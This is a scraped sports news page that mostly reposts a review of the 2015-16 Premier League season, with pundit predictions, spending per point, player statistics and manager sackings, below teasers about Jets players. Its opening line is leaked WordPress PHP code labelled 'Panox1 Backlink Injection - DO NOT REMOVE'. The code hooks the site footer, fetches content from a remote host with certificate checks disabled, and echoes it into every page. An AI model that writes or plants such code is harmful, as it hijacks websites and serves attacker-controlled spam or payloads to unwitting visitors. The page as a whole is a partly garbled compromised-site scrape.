// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 The season that defied all expectations – Next Sports News
Football

Jets star Brandon Marshall wins civil assault suit

Mark Lennihan/AP Brandon Marshall left the courthouse once the case went to the jury and did not return, so he was not in the room when the verdict was read. Jets wide receiver Brandon Marshall won the civil suit levied against him by a California woman in Manhattan federal court for assault and battery on Friday. Christin Myles, who accused Marshall of punching her in the face outside the Marquee nightclub on Mar. 11, 2012, sought at least $75,000 in damages for her medical expenses and her pain and suffering. The jury deliberated for just over an hour before

Football

D’Brickashaw Ferguson thanks fans in retirement letter

Kathy Willens/AP D’Brickashaw Ferguson says that a desire ‘to pursue other goals in life’ led him to retire. D’Brickashaw Ferguson formally announced his retirement Saturday morning in a letter posted on the team’s official website. The three-time Pro Bowl left tackle never missed a snap due to injury in his 10-year career. He’ll be honored in the team’s Ring of Honor one day. His thank you letter to fans, teammates, etc. is below: My Fans, As I considered the words I would say to you, I recognize a simple truth: It just isn’t easy saying goodbye. MEHTA: FERGUSON RETIREMENT

Football

Myers: Ferguson leaving money, saving health in retirement

Maddie Meyer/Getty Images While he spoke candidly about concussions in December, D’Brickashaw Ferguson was never diagnosed with one in his 10-year career. D’Brickashaw Ferguson is 32 years old and played 10 years in the NFL and the only snap he missed in his career came on a trick play. So, he is not part of the epidemic of young players in the last two years who are getting out of the NFL early rather than risk brain injury, even though it’s before they max out on their earnings potential. Ferguson made $67 million with the Jets and never was

Football

Jets trade for Broncos' Ryan Clady to replace D’Brickashaw

Kathy Willens/AP Broncos offensive lineman Ryan Clady blocks for Knowshon Moreno. That was fast. On the same day D’Brickashaw Ferguson made his retirement official, the Jets traded for his replacement, dealing for former Broncos tackle Ryan Clady, according to a source. Gang Green is giving up a 2016 fifth-round pick in exchange for the tackle and will also receive a 2016 seventh-rounder, according to a source. Those are the same terms the Jets struck with the Bears a year ago in a deal for wide receiver Brandon Marshall. Clady, a four-time Pro Bowler, started 16 games in 2014 for

Football

Advocate blasts Greg Hardy’s clueless, harmful stance

Ric Tapia/AP Greg Hardy denies ever assaulting women in an interview he did with ESPN’s Adam Schefter. Domestic violence experts responded with dismay Tuesday to disgraced football star Greg Hardy’s claim in an ESPN interview that violence against women is “nonexistent in most southern homes.” “Domestic violence does not discriminate, it impacts every race, geographic region, educational background,” Katie Ray-Jones, the CEO of the National Domestic Violence Hotline, tells the Daily News. “It knows no boundaries. It’s a reg resilient issue that people don’t talk about.” Hardy, who was suspended four games last season over evidence that he battered

Home
The season that defied all expectations
89683816_story_promo.png
Soccer

The season that defied all expectations

On 

[ad_1]

Jamie Vardy and Eden Hazard

It was a season that defied logic in so many ways – Leicester won the Premier League while Chelsea were talked about as relegation candidates.

And yet some things did not change – Arsenal flirted with the title before fading into a top-four finish, and Sam Allardyce performed a relegation rescue act.

Here, we look back on an unforgettable campaign.

The most unpredictable Premier League season?

It certainly proved that way for BBC Sport’s pundits. In August, we asked 30 of them to pick their top four, with not one of them suggesting eventual champions Leicester or third-placed Tottenham would finish in the Champions League places.

Predictor 1st 2nd 3rd 4th
Alan Shearer Chelsea Arsenal Man City Man Utd
Ruud Gullit Chelsea Arsenal Man City Man Utd
Jason Roberts Chelsea Arsenal Man City Man Utd
Jacqui Oatley Chelsea Arsenal Man City Man Utd
Steve Bower Chelsea Arsenal Man City Man Utd
Rachel Brown-Finnis Chelsea Arsenal Man City Man Utd
Jermaine Jenas Chelsea Arsenal Man Utd Man City
Kevin Kilbane Chelsea Arsenal Man Utd Man City
Jonathan Pearce Chelsea Arsenal Man Utd Man City
Ian Dennis Chelsea Arsenal Man Utd Man City
Alistair Bruce-Ball Chelsea Arsenal Man Utd Man City
Gary Lineker Chelsea Man City Arsenal Man Utd
Mark Lawrenson Chelsea Man City Arsenal Man Utd
John Hartson Chelsea Man City Arsenal Man Utd
Chris Sutton Chelsea Man City Arsenal Man Utd
Graeme le Saux Chelsea Man City Arsenal Man Utd
Conor McNamara Chelsea Man City Arsenal Man Utd
Pat Nevin Chelsea Man Utd Arsenal Man City
Guy Mowbray Chelsea Man Utd Arsenal Man City
Dan Walker Chelsea Man Utd Arsenal Man City
Danny Mills Chelsea Man Utd Arsenal Man City
John Murray Chelsea Man Utd Arsenal Man City
Ian Wright Arsenal Chelsea Man Utd Man City
Gabby Logan Arsenal Chelsea Man Utd Man City
Didi Hamann Arsenal Chelsea Man Utd Man City
Trevor Sinclair Arsenal Chelsea Man City Man Utd
Dion Dublin Man Utd Chelsea Arsenal Liverpool
Steve Wilson Man Utd Chelsea Arsenal Man City
Chris Waddle Man City Chelsea Arsenal Man Utd
Alistair Mann Man City Man Utd Chelsea Arsenal

We also asked chief football writer Phil McNulty to forecast how the league would look come May. Whoops.

Graphic showing Phil McNulty's predictions compared to final positions. Phil's predictions: 1 Chelsea, 2 Arsenal, 3 Man City, 4 Man Utd, 5 Liverpool, 6 Tottenham, 7 Everton, 8 Stoke, 9 Southampton, 10 Swansea, 11 West Ham, 12 Crystal Palace, 13 Newcastle, 14 West Brom, 15 Aston Villa, 16 Bournemouth, 17 Sunderland, 18 Norwich, 19 Leicester, 20 Watford. Final positions: 1 Leicester, 2 Arsenal, 3 Tottenham, 4 Man City, 5 Man Utd, 6 Southampton, 7 West Ham, 8 Liverpool, 9 Stoke, 10 Chelsea, 11 Everton, 12 Swansea, 13 Watford, 14 West Brom, 15 Crystal Palace, 16 Bournemouth, 17 Sunderland, 18 Newcastle, 19 Norwich, 20 Aston Villa<!–

Of course, it was not just the emergence of Leicester which made a mockery of pre-season predictions. The campaign proved a tale of two champions, with the Foxes’ rise coming alongside Chelsea’s demise – the Stamford Bridge club’s points tally of 50 being the lowest of any defending top-flight champions since Everton in 1971.

The 2014-15 winners’ fall was a rapid one – 22 of those 30 BBC pundits had tipped them as champions this year.

A tale of two champions graphic - showing how Chelsea and Leicester's past two seasons differed: Position: Leicester: 14-15: 14th, Leicester 15-16: 1st, Chelsea 14-15: 1st, Chelsea 15:16: 10th. Points: Leicester: 14-15: 41, Leicester 15-16: 81, Chelsea 14-15: 87, Chelsea 15:16: 50. Goals: Leicester: 14-15: 46, Leicester 15-16: 68, Chelsea 14-15: 73, Chelsea 15:16: 59. Clean sheets: Leicester: 14-15: 10, Leicester 15-16: 15, Chelsea 14-15: 17, Chelsea 15:16: 9<!–

The year when money didn’t talk

So Leicester were the biggest over-achievers and Chelsea under-performed in spectacular fashion – but who else punched above their weight and who failed to deliver on the money spent building their squad?

This – like so many of their team’s matches this season – makes uncomfortable viewing for Aston Villa fans.

Graphic showing cost per point of each Premier League squad: Leicester &pound;63m - 81 points = &pound;0.8m per point, Bournemouth &pound;43m - 42 points - &pound;1m, Watford &pound;53m - 45 points - &pound;1.2m, Swansea &pound;56m - 47 points - &pound;1.2m, Stoke &pound;73m - 51 points - &pound;1.4m, West Brom &pound;62m - 43 points - &pound;1.4m, Norwich &pound;55m - 34 points - &pound;1.6m , Crystal Palace &pound;72m - 42 points - &pound;1.7m, West Ham &pound;106m - 62 points - &pound;1.7m, Southampton &pound;139m - 63 points - &pound;2.2m, Tottenham &pound;159m - 70 points - &pound;2.3m, Everton &pound;112m - 47 points - &pound;2.4m, Sunderland &pound;112m - 39 points - &pound;2.9m, Arsenal &pound;231m - 71 points - &pound;3.3m, Newcastle &pound;145m - 37 points - &pound;3.9m, Liverpool &pound;260m - 60 points - &pound;4.3m, Aston Villa &pound;93m - 17 points - &pound;5.5m, Chelsea &pound;280m - 50 points - &pound;5.6m, Man Utd &pound;395m - 66 points - &pound;6m per point, Man City &pound;415m - 66 points = &pound;6.3m per point<!–

In fact, money guaranteed very little this season.

When it came to star performances, none of the 10 biggest signings of the 2015-16 campaign – Kevin de Bruyne (£55m), Raheem Sterling (£49m), Anthony Martial (£36m), Christian Benteke (£32.5m), Nicolas Otamendi (£32m), Memphis Depay (£31m), Roberto Firmino (£29m), Morgan Schneiderlin (£25m), Son Heung-min (£22m) or Pedro (£21m) – feature in lists of the most effective performers.

Graphic showing most goals and most assists this season: Most goals Harry Kane 25 goals, Sergio Aguero 24 goals, Jamie Vardy 24 goals. Most assists: Mesut Ozil 19, Christian Eriksen 13, Dimitri Payet 12, Dusan Tadic 12<!–

Graphic showing how goals were scored in the Premier League this season: Total goals 1,026, headers 180, right foot 539, left foot 263, other 6, own goals 38, inside box 883, outside box 143, penalties 74, direct free-kicks 25, open play 715<!–

Graphic showing best shot conversion rate in the Premier League this season: Callum Wilson 45.45%, Kelechi Iheanacho 43.75%, Aaron Lennon 35.71%. Most passes: Cesc Fabregas 2,669, Andrew Surman 2,286, Mesut Ozil 2,205<!–

Graphic showing the three players with the highest average distance run in the Premier League: Andrew Surman 12.1km, James Milner 12.1km, Gareth Barry 11.4km<!–

Graphic showing most touches and most saves this season. Most touches: Cesc Fabregas 3,393, Simon Francis 3,021, Mesut Ozil 2,963. Most saves: Heurelho Gomes 121, Lukasz Fabianski 115, Jack Butland 103<!–

Graphic showing most tackles and most interceptions this season: Most tackles N'golo Kante 175, Idrissa Gueye 143, Erik Pieters 115. Most interceptions: N'golo Kante 157, Idrissa Gueye 141, Laurent Koscielny 126<!–

How promotion and relegation battles unfolded

With the league more unpredictable than ever, it made for fascinating competition at both ends of the table.

At the top, Leicester took control in January and never looked back. In fact, what seemed an exciting battle actually ended up with clubs barely changing positions in the final four months, although a final-day defeat for Spurs meant they slipped below Arsenal.

Graphic showing battle for top four and how league positions changed during the course of the season for the top six clubs<!–

At the bottom, Aston Villa flat-lined in November and could not recover. It proved a slow death.

Norwich might consider themselves hard done by, slipping into the Championship despite spending 177 fewer days in the bottom three than Sunderland, who eventually avoided relegation – but not until their fans had had to endure another season at the wrong end of the table.

Graphic showing the battle to avoid relegation and how the bottom four clubs changed positions during the course of the season<!–

The sack race

Dick Advocaat, Sunderland’s manager at the start of the campaign, was the fourth favourite in the pre-season betting to be the first boss sacked. The bookies weren’t far off – the Dutchman was the first to leave his post on 4 October, just a matter of hours before favourite Brendan Rodgers was dismissed by Liverpool.

Garry Monk was the surprise dismissal of the campaign – the 66-1 shot left Swansea in December just seven months after guiding the club to a highest top-flight finish of eighth in his first season as a manager.

Graphic showing pre-season odds on managers to be sacked and showing which ones kept their jobs and which ones lost their jobs: Brendan Rodgers 5/1 (Gone), Quique Sanchez Flores 5/1 (Stayed, but will leave at end of season), Steve McClaren 5/1 (Gone), Dick Advocaat 7/1 (Gone), Claudio Ranieri 10/1, Roberto Martinez 10/1, Tim Sherwood 11/1 (Gone), Jose Mourinho 25/1 (Gone), Mauricio Pochettino 33/1 (Stayed), Mark Hughes 33/1 (Stayed), Ronald Koeman 40/1 (Stayed), Tony Pulis 40/1 (Stayed), Slaven Bilic 50/1 (Stayed), Garry Monk 66/1 (Gone), Alex Neil 66/1 (Stayed), Arsene Wenger 66/1 (Stayed), Eddie Howe 66/1 (Stayed), Manuel Pellegrini 66/1 (Stayed, but will leave at end of season), Louis van Gaal 66/1 (Stayed), Alan Pardew 80/1 (Stayed)<!–

But did sacking the manager work? For Sunderland, swapping the winless Adovcaat for seasoned relegation-avoider Allardyce proved decisive.

In fact, of the six new managers brought in during the season, five had a positive impact. Only one – Remi Garde at Aston Villa – failed to improve his team’s fortunes.

Graphic showing how clubs changed positions after sacking their manager<!–

A British breakthrough?

The performances of two of the top three, Leicester and Tottenham, owed much to a British core in both sides, hinting at a reversal in fortunes for homegrown players, who have long found their playing time limited by the presence of overseas imports.

But, in fact, the figures show that British players completed fewer minutes this season than in the previous four seasons.

Graph showing minutes played by British players this season compared to previous seasons: 2011-12, 410839 mins, 2012-13, 347539 mins, 2013-14, 343378 mins, 2014-15, 365544 mins, 2015-16, 319145 mins<!–

The goals of Harry Kane and Jamie Vardy – two of the top three in the goalscoring charts – ensured more goals were scored by British players than last season, but that is still down on the three previous years.

Graph showing minutes played by British players this season compared to previous seasons: 2011-12, 475 goals, 2012-13, 435 goals, 2013-14, 426 goals, 2014-15, 385 goals, 2015-16, 393 goals<!–

Spain 3 Premier League 1

And there is another note of caution when it comes to enthusiasm about the achievements of homegrown players and their clubs.

For all the excitement around the Premier League title race, English teams were upstaged by Spanish sides in Europe’s two club competitions – the Champions League and Europa League.

While Liverpool could yet win the latter – at the expense of Spaniards Sevilla – the Premier League can boast only one team in those two finals, while Spain has three. Spain also had twice as many semi-finalists across the two competitions, and three times as many quarter-finalists.

A reminder about the Premier League’s standing at the end of one of its greatest seasons?

Graphic showing progress of teams from different countries in Europe's two main club competitions this season, the Champions League and Europa League: Final: Spain 3, England 1. Semi-finals: Spain 4, England 2, Germany 1, Ukraine 1. Quarter-finals: Spain 6, Germany 3, England 2, Portugal 2, Czech Republic 1, France 1, Ukraine 1. Last 16: Spain 7, England 6, Germany 4, Italy 3, Belgium 2, Portugal 2, Ukraine 2, Czech Republic 1, France 1, Netherlands 1, Russia 1, Switzerland 1, Turkey 1<!–

Let’s block ads! (Why?)

[ad_2]

Source link

Related Posts

Reply